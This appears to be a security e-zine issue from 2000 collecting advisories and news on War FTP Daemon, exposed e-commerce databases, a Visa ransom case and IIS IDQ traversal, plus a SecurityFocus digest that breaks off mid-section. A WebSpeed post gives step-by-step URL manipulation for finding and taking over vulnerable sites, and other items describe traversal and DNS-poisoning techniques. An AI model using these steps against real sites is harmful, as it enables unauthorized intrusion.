SECURITY ALERT - WAR FTP DAEMON ALL VERSIONS
Updated February 4th 2000 13:30 Central European Time.
January 5th 2000, a seriuos security problem with War FTP Daemon 1.70 was
reported by email. Two hours after I read the mail, a security alert was sent
to the war-ftpd mailing list, the alt.comp.jgaa newsgroup and the bugtraq
mailing list. The alert adviced all server operators to take the server
off-line until further notice.
Brief overview
War FTP Daemon 1.70: The bug allows unrestricted access to any file on the
local machine also for users that have not logged on. If an older ODBC driver
is installed, the bug also gives users unlimited access to all system commands,
with administrator privileges (this is a bug in ODBC that has been fixed in
recent versions). The advice is to take all version 1.70 servers off-line until
the server is upgraded! A bugfix (War FTP Daemon 1.71) was released January 8th
2000 14:40 CET. This version is not completely tested yet. Please report any
serious problems to jgaa@jgaa.com. I Will fix bugs in 1.70 over the next few
weeks to make 1.70 a little more comfortable to use while we wait for version 3.
War FTP Daemon 1.67b2 and previous versions: The bug may give privileged uses
unrestricted access to some files. Users must be logged in, and have at least
write or create permissions. Users can not execute commands. A bugfix was released
less than 24 hours from I read the mail that reported the problem.
Buffer overflow problem in 1.6*
February 2nd 2000 there was reported a buffer-overflow problem in 1.6 versions on
BUGTRAQ. The problem does not seem to compromise the security, but the server can
easily be crashed by remote attackers, after they have logged in. A fix
was released February 3rd 2000, about an hour after I read about the problem.
Bugfixes are released at ftp://ftp.no.jgaa.com and http://war.jgaa.com/alert/files
I'm sorry for any inconveniences caused by these problems.
General news
War FTP Daemon 1.67. I will make a new full distribution for 1.67. Until this is
ready, 1.65 must be installed, and then upgraded.
War FTP Daemon 1.72 service release. I will make a service release of the 1.70
series in the near future. Some annoying bugs will be fixed, and a command-line
utility to add user accounts interactively, or from scripts, will be released.
There will also be a simple DLL wrapper interface for easy integration with other
software.
War FTP Daemon 3.0. The development of the next major release continues. 3.0 is
currently running under Windows NT and Linux. The server is however not yet ready
for alpha-testing. When all the basic functionality is implemented, and debugged,
ftp://ftp.jgaa.com will open up, using version 3.0. This can be expected soon.
Early versions for Windows 9x, Windows NT, Debian Linux and FreeBSD will be
available for download. Version 3.0 will be Open Source, under the GNU Public License.
http://download.jgaa.com will open when War FTP Daemon 3.0 moves into early alpha.
Jarle
@HWA
29.0 HNN: Jan 17th: Seven eCommerce Sites Found Vulnerable
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by mack
MSNBC found seven ecommerce sites open for business
with easily accessible customer databases. By
connecting to weakly secured SQL databases MSNBC
was able to access the personal information including
credit card numbers of 2500 people. All of the sites
have been informed of the problem. (And people act
surprised when I tell them that I don't buy anything on
the web.)
MSNBC
http://www.msnbc.com/news/357305.asp
Stealing cards easy as Web browsing
By Bob Sullivan
MSNBC
Jan. 14 — Just how easy is it to steal credit card
numbers on the Internet? On Thursday, MSNBC
was able to view nearly 2,500 credit card
numbers stored by seven small e-commerce Web
sites within a few minutes, using elementary
instructions provided by a source. In all cases, a
list of customers and all their personal
information was connected to the Internet and
either was not password-protected or the
password was viewable directly from the Web
site.
CREDIT CARD THEFT, a problem long lurking in the
background of Internet commerce, leaped to the top of
consumers’ minds earlier this month when a computer
intruder calling himself Maxus was able to break into CD
Universe’s database of user credit cards. There’s still
speculation about how he did it.
But perhaps Maxus didn’t have to work so hard. This
week, MSNBC was able to view nearly 2,500 credit card
numbers and other data essentially by browsing
e-commerce Web sites using a commercially available
database tool rather than a Web browser. Not only were
the sites storing the credit cards in plain text in a database
connected to the Web — the databases were using the
default user name and in some cases, no password.
These basic security flaws were found by a legitimate
Russian software company named Strategy LLC, according
to CEO Anatoliy Prokhorov, and shared with MSNBC. He
says he tried contacting some of the companies first and got
no response.
“From our point of view this is just unprofessionalism in
a very high degree that’s not explainable,” Prokhorov said.
His company writes software that helps consumers compare
prices across multiple e-commerce sites, so his developers
become familiar with data structures at hundreds of
e-commerce sites. He says they weren’t looking to find
security flaws, but rather stumbled on these.
“This is just a hole we passed by, an open door. Our
people were amazed.”
But security experts were not. Given the speed
required to succeed in the fast-paced Internet economy,
companies are in a big hurry to publish working Web sites
and often skimp on security measures.
“This is a microcosm of what’s out there,” said Elias
Levy of SecurityFocus.com. Levy’s site was the first to
report the CD Universe break-in last weekend. “One could
only imagine what they would have found if they were
looking for problems.... The problem is fairly widespread,
and what Anatoliy has found is a small snapshot.”
Prokhorov also contacted SecurityFocus.com with his
information, and the site today will issue its own report
based on its independent investigation.
The security flaws Prokhorov found involve more than
just easy-to-steal credit cards. At all seven sites, MSNBC
was able to view a wide selection of personal data including
billing addresses, phone numbers and in some cases,
employee Social Security numbers.
Prokhorov sent the list and instructions to MSNBC on
Tuesday. It included about 20 Web sites which either had
no password protection at all on their database servers —
in each case, they were running Microsoft’s SQL Server
software — or had password information exposed on their
Web site. Connecting to all the sites was as simple as
starting SQL Server and opening a connection to the Web
site. (Note: Microsoft is a partner in MSNBC.)
Expressmicro.com, Computerparts.com, Directmicro.com
and Sharelogic.net — were all contacted 24 hours before
this story so they could close the security hole.
While the flaws are obvious, assessing blame is a much
more sticky business. There’s a mounting concern that small
businesses are particularly vulnerable to attack; many don’t
have computer experts on staff. Other times, non-technically
savvy business owners take lowball bids from developers
who promise a secure Web site but don’t deliver. Then
there are inherent problems in software itself that make
flaws more likely.
In some cases, the server-side code underlying a Web
page is viewable if a browser places “::$DATA” at the end
of the page’s Web address. That code, normally hidden,
can contain any usernames, passwords and other
information about any computer connected to that server.
This flaw was revealed over two years ago and has since
been patched. Four of the vulnerable sites MSNBC found
were hosted on the same Web server and had not plugged
this hole.
But even without knowing that technique, an intruder
could have entered the sites anyway — the username
required for entering the database was the default “sa,”
which stands for “system administrator”; the password was
the name of the company.
“We used a developer, and obviously the developer
didn’t take that flaw into consideration,” said a
spokesperson for the sites. “The flaw could have lied within
the software, but maybe the developer should have taken
that into consideration ... and one thing we didn’t do, we
didn’t hire a security company to come in and test our Web
site.”
Getting a second opinion when building an e-commerce
site is a good idea, said security expert Russ Cooper, who
maintains the popular NTBugTraq mailing list.
“Make a condition of the contract that it has to pass
scrutiny of another individual who tests the site,” Cooper
recommended. The fundamental problem, he said, is that
developers have no liability for flaws they leave behind in
e-commerce sites. Merchants are responsible for the cost of
any stolen merchandise, while most developer contracts
make clear they are not responsible for what happens with a
site they build. “So a lot of people end up with a working
site but not a secure site.”
The other three vulnerable sites MSNBC visited simply
used “sa” as the username for their database, and no
password.
Average consumers have no way of knowing how
well-guarded their personal information is when they submit
it to a Web site. Levy said the problems MSNBC found at
these seven sites are hardly isolated.
“The blame falls on more than one person. You can’t
rush out to set up an e-commerce site regardless of how
much you want to make money. ... Many people don’t give
(security) a second thought,” he said.
One of the fundamental flaws in all these sites — and,
experts say, in many other sites — is the storing of private
consumer information in the first place. While encryption
techniques that scramble the data are available, it’s often
kept on a computer in plain text — one step away from the
Internet. While that’s more convenient, experts agree it’s a
bad idea.
“My advice is, if nothing else, don’t store the data
where it physically has access to the Web,” said Wesley
Wilhelm, a fraud prevention consultant at the Internet Fraud
Prevention Advisory Council. “Take them off every night
and make a sneakernet run.”
As for consumers, there isn’t much they can do to
ascertain how well a Web site is guarding their personal
information. Some experts suggest using only one card
online, and religiously checking credit card bills. While
consumers are liable for at most $50 of fraudulent
purchases, they are responsible for catching them and
alerting their bank.
MSNBC’s Curtis Von Veh contributed to this story.
@HWA
30.0 HNN:Jan 17: Scotland Yard Investigating Cyber Ransom Demands
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by tom
It is alleged the a team of sophisticated professional
electronic intruders have broken into twelve
multinational companies and have issued ransom
demands to prevent the release of stolen information.
This report only names one of the company's in
question, Visa, and says that Scotland Yard is
investigating. (While it would appear that Visa has
admitted to the intrusion we would like know who the
other companies are.)
The UK Times
http://www.the-times.co.uk/news/pages/sti/2000/01/16/stinwenws01028.html?999
January 16 2000
BRITAIN
Hacker gang blackmails
firms with stolen files
Jon Ungoed-Thomas and Stan Arnaud
A BRITISH group of hackers has broken into the computer
systems of at least 12 multinational companies and stolen
confidential files. It has issued ransom demands of up to
£10m and is also suspected of hiring out its services.
Scotland Yard is now investigating the attacks, which
computer experts have described as the most serious
systematic breach ever of companies' security in Britain.
"The group is using very sophisticated techniques and has
been exchanging information via e-mail and internet chat,"
said an investigator.
Visa confirmed last week that it had received a ransom
demand last month, believed to have been for £10m.
"We were hacked into in mid-July last year," said Russ
Yarrow, a company spokesman. "They gained access to
some corporate material and we informed both Scotland
Yard and the FBI."
It is understood the hackers stole computer "source codes"
that are critical to programming, and threatened to crash the
entire system. If Visa's system crashed for just one day, the
company - which handles nearly £1 trillion business a year
from customers holding 800m Visa cards - could lose tens of
millions of pounds.
"We received a phone call and an e-mail to an office in
England demanding money," Yarrow said.
The company contacted police after the ransom demand.
"We hardened the system, we sealed it and they did not
return. We have firewalls upon firewalls, but are concerned
that anyone got in."
Scotland Yard's computer crime unit is now scrutinising
e-mail traffic between several known hackers in England and
Scotland. Last month officers from the unit flew to
Hopeman, a Scottish fishing village, and seized equipment
from the home of James Grant, who works for a local
computer company. He has been interviewed by detectives
and Visa security experts.
It is understood that he has given a legal undertaking to Visa
not to discuss the matter. "He is saying nothing at all," said
his mother, Rhona. "That is a situation that will not change in
the future."
Grant, 20, studied computing in nearby Elgin, and now
works for Data Converters, based in Elgin. His father is a
member of the civilian security staff at RAF Lossiemouth air
base and his mother a care worker.
Detectives are studying attacks on at least 12 companies that
they believe have been penetrated by the group and others
that may be connected, including one within the Virgin group,
in which a hacker tried to break into the UK mailing system.
They believe the group may also be acting as paid specialists
for information brokers who trade corporate secrets.
"These are professionals and there is some evidence that
suggests some of the activity was contracted and paid for,"
said a computer expert involved in the investigation.
The group's success has exposed flaws in security. The
internet company CD Universe last week confirmed it had
called in the FBI after being blackmailed by a hacker who
had copied more than 300,000 of its customer credit card
files.
Scotland Yard said: "There is an ongoing investigation into
the incident involving Visa, but it is too early to speculate
about the involvement of a group."
@HWA
31.0 HNN:Jan 17: Pay Phone Fraud Committed with Drinking Straw
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SUCK THIS!
From HNN http://www.hackernews.com/
contributed by deeeek
Telstra (Australian Telephone Company) has to upgrade
29,000 payphones due to fraud involving a drinking
straw. The problem affects 80% of the pay phones
installed since 1997. No information about exactly how
the fraud was committed was given. (A Straw? Oh,
there must be a text file on this somewhere.)
Fairfax IT
http://it.fairfax.com.au/breaking/20000114/A24452-2000Jan14.html
Scam forces Telstra to fix 29,000 pay phones
9:17 Friday 14 January 2000
AAP
TELSTRA is urgently modifying 80 per cent of its public pay phones after
a scam was discovered involving a drinking straw and free phone calls
around the world.
Telstra would have the 29,000 vulnerable phones rectified soon, Telstra's
public affairs manager Michael Herskope said yesterday.
The Spanish-manufactured coin and phone card-operated Smart pay phone
was phased into the Australian network from 1997.
The scam potentially cost Telstra millions of dollars in unlimited STD
and ISD calls since then, but Telstra can only speculate.
"We have a rough idea, but that's not something we're really going to
publicise,'' Herskope said.
The scam was made public on the front page of Albury-Wodonga's The Border
Morning Mail yesterday.
The newspaper was told by perpetrators that the low-tech scam had been
well known since the phones were introduced as part of a $100 million
upgrade of the public phone national network.
One source said some people may have learnt about it from the Internet.
The paper accompanied a man to three public phones chosen at random and
observed him make free calls, including one to New York.
Telstra had initially dismissed the scam as a myth, the paper said.
But Herskope denied that Teltra only learnt of the fraud from the country
newspaper.
"We've known about it for a little while,'' he said.
"It's pretty hard to articulate weeks, days. I'm not sure how it was brought
to our attention but it certainly was.''
He said rectifying the problem was a simple procedure.
Without disclosing how the fraud was perpetrated, he said there was no design
fault in the phone.
"This particular fault will be closed off very shortly,'' he said.
@HWA
32.0 Owning sites that run WebSpeed web db software
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Source: win2k security advice mailing list.
From: George <georger@NLS.NET>
To: <win2ksecadvice@LISTSERV.NTSECURITY.NET>
Sent: Friday, February 04, 2000 7:32 PM
Subject: Webspeed security issue leaves sites vulnerable
I reported this to Progress (maker of Webspeed) a month ago and they said
they would fix it but since then I've not seen any fixes released. I also
pondered whether or not to release this information because some rather
large web databases use Webspeed but I do believe in full disclosure as the
best security so here goes...
Webspeed is a website creation language used by some of the larger db based
websites on the net. Version 3 comes with a java GUI configuration program.
This configuration program has certain security setting options in it. One
of which doesn't actually do anything.
There is one option to turn off access to a utility called WSMadmin. It's in
the messenger section of the GUI config program. However checking or
unchecking this option doesn't change anything. In fact to turn this feature
off you have to hand edit the ubroker.properties file. Look for the
following entries:
AllowMsngrCmds=1
and each time you find this set it =0 in each of the sections. This will
disable the feature (you want to do this on the production server).
AllowMsngrCmds=0
Ok, now the exploit to show how serious an issue this is on the web. It's
just a misconfiguration really but it's caused by a bug in the java config
program (I tested the NT version but since the config program is java it may
also affect other platforms)
Exploit:
go to search engines and search for "wsisa.dll", I used google 3rd page or
further (first 3 pages are all junk)
Go to URL similar to
http://www.domain.com/scripts/wsisa.dll/extra/somepage.htm with your browser
change the url in the browser to
http://www.domain.com/scripts/wsisa.dll/WService=anything?WSMadmin
(note capitals are important)
click on the link "End Sessions Logging and Display Sessions Info" (note you
may have to start logging first then stop it if they've never used the
logging feature)
When you pick the End Sessions Logging choice it displays the log, find a
statement in the log for the default service "Default Service =
nameofservice"
back up one page (hit your back button)
type nameofservice into the Verify WebSpeed Configuration box and click the
verify button.
If everything worked you now own their site. I won't explain how to use the
utility but anyone familiar with this should know exactly how dangerous this
is.
Geo.
_____________________________________________________________________
** TO UNSUBSCRIBE, send the command "UNSUBSCRIBE win2ksecadvice"
** FOR A WEEKLY DIGEST, send the command "SET win2ksecadvice DIGEST"
SEND ALL COMMANDS TO: listserv@listserv.ntsecurity.net
@HWA
33.0 Cerberus Information Security Advisory (CISADV000202)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Cerberus Information Security Advisory (CISADV000202)
http://www.cerberus-infosec.co.uk/advisories.html
Released : 2nd February 2000
Name : IDQ
Affected Systems : Microsoft Windows NT 4 running Internet Information
Server 3 or 4
Issue : Attackers can access files outside of the web
virtual
directory system
Author : David Litchfield (mnemonix@globalnet.co.uk)
Description
*********
Any web site running Internet Information Server 3 or 4 and
using Internet Data Query files to provide search functionality on the site
may be exposed. IIS also comes with some sample IDQ scripts that are
vulnerable so any website with these sample files left on are at risk.
Using these IDQ scripts or even custom scripts it is possible to break
outside of the web virtual root and gain unathorized access to files,
such as log files and in certain cases the backup version
of the Security Accounts Manager (sam._)
It does require for the attacker to know the path to the file, for the file
to be on the same logical disk drive as the IDQ file and for ACL to allow
read access to the anonymous Internet account or the Everyone/guests group.
Details
*****
The extent of this security hole depends upon whether the recent "webhits"
patch
has been installed. See
http://www.microsoft.com/technet/security/bulletin/ms00-006.asp
If the patch has been installed there is still a vulnerability - however,
those that
have not installed this patch are most at risk. Microsoft are re-releasing
this advisory
and the updated patch. Please note that Windows 2000 does not seem to be
vulnerable to
this. Cerberus' vulnerability scanner, CIS, has now been updated to check
for this issue.
For those that already have a copy of the scanner you can download the
updated module
from http://www.cerberus-infosec.co.uk/webscan.dll - however those that do
not yet have
the scanner, if you would like a copy please go to
http://www.cerberus-infosec.co.uk/ and follow
the Cerberus Internet Scanner link on the frontpage.
If the "webhits" patch HAS NOT been installed
************************************
Any idq file that resolves remote user input for any part of the template
file is dangerous.
eg: CiTemplate = %TemplateName%
The ISAPI application that deals with IDQ queries is idq.dll and it will
follow double dots in paths to template files, meaning an attacker can
break out of the web root. If the idq file appends .htx to the CiTemplate
eg: CiTemplate=/iissamples/issamples/%TemplateName%.htx
some may think this will limit attackers to viewing only .htx files. Not so.
Quoting from the Index Server documentation (/iishelp/ix/htm/ixidqhlp.htm),
"Index Server does not support physical paths longer than the Windows NT
shell limit (260 characters)." Due to this limit it is possible to append
lots of spaces onto the name of the file we want to read and thereby
pushing the .htx out of the buffer and we're served back the file.
IDQ files known to be at risk in one way or another:
prxdocs/misc/prxrch.idq
iissamples/issamples/query.idq
iissamples/exair/Search/search.idq
iissamples/exair/Search/query.idq
iissamples/issamples/fastq.idq
There are may be more.
If the "webhits" patch HAS been installed
*******************************
Machines that have had the patch installed will only be vulnerable if the
IDQ file does not specify a .htx extention
eg:
CiTemplate = %TemplateName%
and
CiTemplate = /somedir/otherdir/%TemplateName%
are vulnerable whereas
CiTemplate = /somedir/otherdir/%TemplateName%.htx
is not vulnerable.
Solution:
*******
Review your IDQ files to determine if you are at risk. If so edit them
and use hardcoded template files. eg
CiTemplate=%TemplateName%
to
CiTemplate=/your-virtual-directory/your-htx-file.htx
and then edit your search form to reflect this change.
Remove any sample files from the system - not just
idq files. Apply the updated patch.
About Cerberus Information Security, Ltd
********************************
Cerberus Information Security, Ltd, a UK company, are specialists in
penetration testing and other security auditing services. They are the
developers of CIS (Cerberus' Internet security scanner) available for free
from their website: http://www.cerberus-infosec.co.uk
To ensure that the Cerberus Security Team remains one of the strongest
security audit teams available globally they continually research operating
system and popular service software vulnerabilites leading to the discovery
of "world first" issues. This not only keeps the team sharp but also helps
the industry and vendors as a whole ultimately protecting the end consumer.
As testimony to their ability and expertise one just has to look at exactly
how many major vulnerabilities have been discovered by the Cerberus Security
Team - over 40 to date, making them a clear leader of companies offering
such security services.
Founded in late 1999, by Mark and David Litchfield, Cerberus Information
Security, Ltd are located in London, UK but serves customers across the
World. For more information about Cerberus Information Security, Ltd please
visit their website or call on +44(0) 181 661 7405
Permission is hereby granted to copy or redistribute this advisory but only
in its entirety.
Copyright (C) 2000 by Cerberus Information Security, Ltd
------------------------------------------------------------------------
Delivery co-sponsored by Trend Micro, Inc.: http://www.antivirus.com.
ScanMail for Microsoft Exchange
* Stops viruses from spreading through Exchange Servers.
* Eliminates viruses from email in real time, even unknown macro viruses
* Filters spam (unsolicited junk email).
* Sends customized virus warning messages to specific parties and admins
* Remote installation and management via web or ScanMail's Windows GUI
------------------------------------------------------------------------
_____________________________________________________________________
** TO UNSUBSCRIBE, send the command "UNSUBSCRIBE win2ksecadvice"
** FOR A WEEKLY DIGEST, send the command "SET win2ksecadvice DIGEST"
SEND ALL COMMANDS TO: listserv@listserv.ntsecurity.net
@HWA
34.0 Security Focus Newsletter #26
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Security Focus Newsletter #26
Table of Contents:
I. INTRODUCTION
II. BUGTRAQ SUMMARY
1. Multiple Vendor BSD /proc File Sytem Vulnerability
2. DNS TLD & Out of Zone NS Domain Hijacking
3. Inter7 vpopmail (vchkpw) Buffer Overflow Vulnerability
4. VMware Symlink Vulnerability
5. HP Path MTU Discovery DoS Vulnerability
6. Microsoft East Asian Word Conversion Vulnerability
7. NT RDISK Registry Enumeration File Vulnerability
8. Qualcomm qpopper 'LIST' Buffer Overflow Vulnerability
9. NT Index Server Directory Traversal Vulnerability
III. PATCH UPDATES
1. Vulnerability Patched: Qualcomm qpopper 'LIST' Buffer Overflow
2. Vulnerability Patched: NT Index Server Directory Traversal
3. Vulnerability Patched: Multiple Vendor BSD /proc File Sytem
4. Vulnerability Patched: Multiple Vendor BSD /proc File Sytem
5. Vulnerability Patched: Inter7 vpopmail (vchkpw) Buffer Overflow
6. Vulnerability Patched: NT RDISK Registry Enumeration File
7. Vulnerability Patched: Microsoft East Asian Word Conversion
8. Vulnerability Patched: Multiple Vendor BSD make /tmp Race
IV. SECURITYFOCUS.COM TOP 6 NEWS ARTICLES
1. Outpost Leaves Data Unguarded (Mon Jan 24 2000)
2. Japan Says to Seek U.S. Help to Deal With Hackers (Tue Jan 25
2000)
3. Task Force Battles Online Criminals (Wed Jan 26 2000)
4. Smart card 'inventor' lands in jail (Thu Jan 27 2000)
5. Visa acknowledges cracker break-ins (Fri Jan 28 2000)
6. A Year Of Mass-Mailing Viruses (Fri Jan 28 2000)
V. INCIDENTS SUMMARY
1. Got scanned again (Thread)
2. Unusual scan pattern (Thread)
3. Possible Probe = Possible Malfunction (Thread)
4. No Idea (Thread)
5. PC Anywhere client seems to probe class C of connected networks
(Thread)
6. unapproved AXFR (Thread)
7. Connect thru PIX & ports 1727, 2209, 9200 (Thread)
8. Anti-Death Penalty (Thread)
9. Strange DNS/TCP activity (Thread)
10. eri? (Thread)
11. source port 321 (Thread)
12. Korea (again) (Thread)
13. BOGUS.IvCD File (Thread)
14. port 768 (Thread)
15. Extrange named messages (Thread)
16. Probes to tcp 2766 ('System V Listner') (Thread)
17. Possible attempt at hacking? (Thread)
18. DNS update queries: another sort of suspicious activity.
(Thread)
VI. VULN-DEV RESEARCH LIST SUMMARY
1. Shadow (Thread)
2. things to break.. (Thread)
3. HTTP scanners? (summary, long) (Thread)
4. CGI insecurities (Thread)
5. ICQ Pass Cracker. (Thread)
6. File Share Vacuum (Thread)
7. IIS4.0 .htw vulnerability (Thread)
8. Napster a little insecure? (Thread)
9. distributed.net and seti@home (Thread)
VII. SECURITY JOBS
Seeking Employment:
1. Prashant Vijay (Summer Internship) <vijay@eecs.tulane.edu>
Seeking Staff:
1. Security Research Engineer (Atlanta, Ga)
2. Practice Manager w/PKI experience NYC, Philly or DC)
3. Lead Security Engineer - Bay Area/San Jose
4. Senior security engineers - Bay Area/San Jose
5. Virus coder wanted (San Antonio, TX)
6. Junior Security Engineers Needed (Maryland)
VIII. SECURITY SURVEY RESULTS
IX. SECURITY FOCUS TOP 6 TOOLS
1. ShadowScan 1.00.093 (Windows 95/98 and Windows NT)
2. SecurityFocus.com Pager (Win95/98/NT)
3. lidentd 1.0p1 (Linux)
4. Cgi Sonar 1.0 (any system supporting perl)
5. Logcheck 1.1.1 (BSDI, Digital UNIX/Alpha, FreeBSD, HP-UX,
Linux, NetBSD, OpenBSD, Solaris and SunOS)
6. Secret Sharer 1.0 1.0 (Windows 95/98)
X. SPONSOR INFORMATION - CORE SDI http://www.core-sdi.com
XI. SUBSCRIBE/UNSUBSCRIBE INFORMATION
I. INTRODUCTION
-----------------
Welcome to the SecurityFocus.com 'week in review' newsletter issue 26 for
the time period of 2000-01-24 to 2000-01-30 sponsored by CORE SDI.
CORE SDI is an international computer security research and development
company. It's clients include 3 of the Big 5 chartered accountant firms
for whom CORE SDI develops customized security auditing tools as well as
several notable computer security product vendors, such as Network
Associates. In addition to providing 'consultant to the consultant'
services CORE also performs risk assesment and security infrastructure
consulting for a large number of government and fortune 500 companies in
both North and Latin America.
http://www.core-sdi.com
II. BUGTRAQ SUMMARY 2000-01-24 to 2000-01-30
---------------------------------------------
1. Multiple Vendor BSD /proc File Sytem Vulnerability
BugTraq ID: 940
Remote: No
Date Published: 2000-01-21
Relevant URL:
http://www.securityfocus.com/bid/940
Summary:
Certain BSD derivative operating systems use an implantation of the /proc
filesystem which is vulnerable to attack from malicious local users. This
attack will gain the user root access to the host.
The proc file system was originally designed to allow easy access to
information about processes (hence the name). It's typical benefit is
quicker access to memory hence more streamlined operations. As noted
previously certain implementations have a serious vulnerability. In short,
the vulnerability is that users may manipulate processes under system
which use /proc to gain root privileges. The full details are covered at
length in the advisory attached to the 'Credit' section of this
vulnerability entry.
2. DNS TLD & Out of Zone NS Domain Hijacking
BugTraq ID: 941
Remote: Yes
Date Published: 2000-01-23
Relevant URL:
http://www.securityfocus.com/bid/941
Summary:
A vulnerability exists in the mechanism used by DNS, in general, to
determine the name server associated with TLD's (top level domains). DNS
is built upon levels of trust, and by exploiting single points of failure
in this trust system, it becomes possible for an attacker to convince a
caching nameserver that allows for recursion through it that the root
server for a given TLD is something other than what it actually is. By
consecutively performing these cache attacks, it could be possible for an
attacker to entirely take over name service for any given domain.
The vulnerability is actually not specific to TLD's. The same attack can
be used to hijack any domain which has out of zone NS records, if any of
the servers that act as the name server for the out of zone domain can be
compromised.
The simplest explanation was presented in the example provided by it's
discoverer, Dan Bernstein, on the Bugtraq mailing list, on January 23,
2000: "Suppose an attacker can make recursive queries through your cache.
Let me emphasize that this does not mean that the attacker is one of your
beloved users; many programs act as DNS query-tunneling tools.
Suppose the attacker is also able, somehow, to take over ns2.netsol.com.
This isn't one of the .com servers, but it's a name server for the
gtld-servers.net domain. Here's what happens:
(1) The attacker asks your cache about z.com. Your cache contacts
(say) k.root-servers.net, which provides a referral:
com NS j.gtld-servers.net (among others)
j.gtld-servers.net A 198.41.0.21
These records are cached.
(2) The attacker asks your cache about z.gtld-servers.net. Your cache
contacts (say) f.root-servers.net, which provides a referral:
gtld-servers.net NS ns2.netsol.com (among others)
ns2.netsol.com A 207.159.77.19
These records are cached.
(3) The attacker takes over ns2.netsol.com.
(4) The attacker asks your cache about zz.gtld-servers.net. Your
cache contacts ns2.netsol.com, and the attacker answers:
zz.gtld-servers.net CNAME j.gtld-servers.net
j.gtld-servers.net A 1.2.3.4
These records are cached, wiping out the obsolete j glue.
(5) A legitimate user asks your cache about yahoo.com. Your cache
contacts j.gtld-servers.net, and the attacker answers:
yahoo.com A 1.2.3.4
The user contacts yahoo.com at that address."
The attack offered requires that an attacker be able to compromise the
operation of the DNS server running on, in this case, ns2.netsol.com,
although this is not the only server that could potentially be used to
launch an attack of this style. The author further indicates that there
are in excess of 200 servers that could be used to manipulate resolution
of all the .COM domains.
3. Inter7 vpopmail (vchkpw) Buffer Overflow Vulnerability
BugTraq ID: 942
Remote: Yes
Date Published: 2000-01-21
Relevant URL:
http://www.securityfocus.com/bid/942
Summary:
Vpopmail (vchkpw) is free GPL software package built to help manage
virtual domains and non /etc/passwd email accounts on Qmail mail servers.
This package is developed by Inter7 (Referenced in the 'Credit' section)
and is not shipped, maintained or supported by the main Qmail
distribution.
Certain versions of this software are vulnerable to a remote buffer
overflow attack in the password authentication of vpopmail.
4. VMware Symlink Vulnerability
BugTraq ID: 943
Remote: No
Date Published: 2000-01-21
Relevant URL:
http://www.securityfocus.com/bid/943
Summary:
VMware is software that runs multiple virtual computers on a single PC, at
the same time, without partitioning or rebooting.
Certain versions of the VMWare for Linux product do not perform /tmp file
sanity checking and create files in the /tmp directory which will follow
symlinks. This may be used by a malicious user to overwrite any file (with
log data) which falls within the write permissions of the user ID which
VMWare excecutes as. Typically this is root. This attack will most likely
result in a denial of service and not a root level compromise.
5. HP Path MTU Discovery DoS Vulnerability
BugTraq ID: 944
Remote: Yes
Date Published: 2000-01-24
Relevant URL:
http://www.securityfocus.com/bid/944
Summary:
A potential denial of service exists in Hewlett-Packard's proprietary
protocol for discovering the maximum path MTU (PMTU) for a give
connection. This feature could potentially be used to cause denial of
services, using HPUX machines as "amplifiers." Essentially, HP machines
which are vulnerable can, under certain conditions, be coerced in to
sending far more data outbound than they receive inbound. By forging
source addresses, it is possible to send a small quantity of packets
purporting to be from a given source, and cause the HPUX machine to send
multiple packets in response. This could potentially be used as a denial
of service.
HP's proprietary path discover protocol works by sending data in parallel
with ICMP packets being used for path discovery. While exact details of
the nature of the denial of service were not made public, presumably it
could be possible to utilize UDP packets, and default UDP services to
start the chain of events leading to a denial of service
6. Microsoft East Asian Word Conversion Vulnerability
BugTraq ID: 946
Remote: No
Date Published: 2000-01-20
Relevant URL:
http://www.securityfocus.com/bid/946
Summary:
East Asian language versions of Word and Powerpoint are susceptible to a
buffer overflow exploit. The overflowable buffer is in the code that
converts Word 5 documents into newer formats. Word 97, 98, and 2000 will
automatically convert older files into the new format upon loading.
If a specially-modified Chinese, Japanese or Korean Word 5 document is
loaded into a newer version of Word or PowerPoint, arbitrary code can be
executed during the conversion process, at the privilege level of the
current user.
7. NT RDISK Registry Enumeration File Vulnerability
BugTraq ID: 947
Remote: No
Date Published: 2000-01-21
Relevant URL:
http://www.securityfocus.com/bid/947
Summary:
The Rdisk utility shipped with all versions of Windows NT4.0 is used to
make an Emergency Repair Disk. During the creation of this disk, a
temporary file ($$hive$$.tmp) is created in the %systemroot%\repair
directory that contains the registry hives while they are being backed up.
The group Everyone has Read permission to this file, and in this manner
sensitive information about the server could be leaked.
The file is put in a location that is not shared by default, and is
removed immediately after the disk is created. The only likely scenario
where this could be exploited is in the case of NT Terminal Server, where
an administrator and a regular user could both be logged in interactively
at the same time.
8. Qualcomm qpopper 'LIST' Buffer Overflow Vulnerability
BugTraq ID: 948
Remote: Yes
Date Published: 2000-01-26
Relevant URL:
http://www.securityfocus.com/bid/948
Summary:
There is a remotely exploitable buffer overflow in Qaulcomm's 'qpopper'
daemon which allows users already in possession of a username and password
for a POP account to compromise the server running the qpopper daemon.
The problem lies in the code to handles the 'LIST' command available to
logged in users. By providing an overly long user supplied argument a
buffer may be overflowed resulting in the attacker gaining access with the
user ID (UID) of the user who's account is being used for the attack and
the group ID (GID) mail.
This will result in remote access to the server itself and possibly
(depending on how the machine is configured) access to read system users
mail via the GID mail.
9. NT Index Server Directory Traversal Vulnerability
BugTraq ID: 950
Remote: Yes
Date Published: 2000-01-26
Relevant URL:
http://www.securityfocus.com/bid/950
Summary:
Index Server 2.0 is a utility included in the NT 4.0 Option Pack. The
functionality provided by Index Service has been built into Windows 2000
as Indexing Services.
When combined with IIS, Index Server and Indexing Services include the
ability to view web search results in their original context. It will
generate an html page showing the query terms in a short excerpt of the
surrounding text for each page returned, along with a link to that page.
This is known as "Hit Highlighting". To do this, it supports the .htw
filetype which is handled by the webhits.dll ISAPI application. This dll
will allow the use of the '../' directory traversal string in the
selection of a template file. This will allow for remote, unauthenticated
viewing of any file on the system whose location is known by the attacker.
III. PATCH UPDATES 2000-01-24 to 2000-01-30
-------------------------------------------
1. Vendor: Qualcomm
Product: Qpopper
Vulnerability Patched: Qualcomm qpopper 'LIST' Buffer Overflow
Bugtraq ID: 948
Relevant URLS:
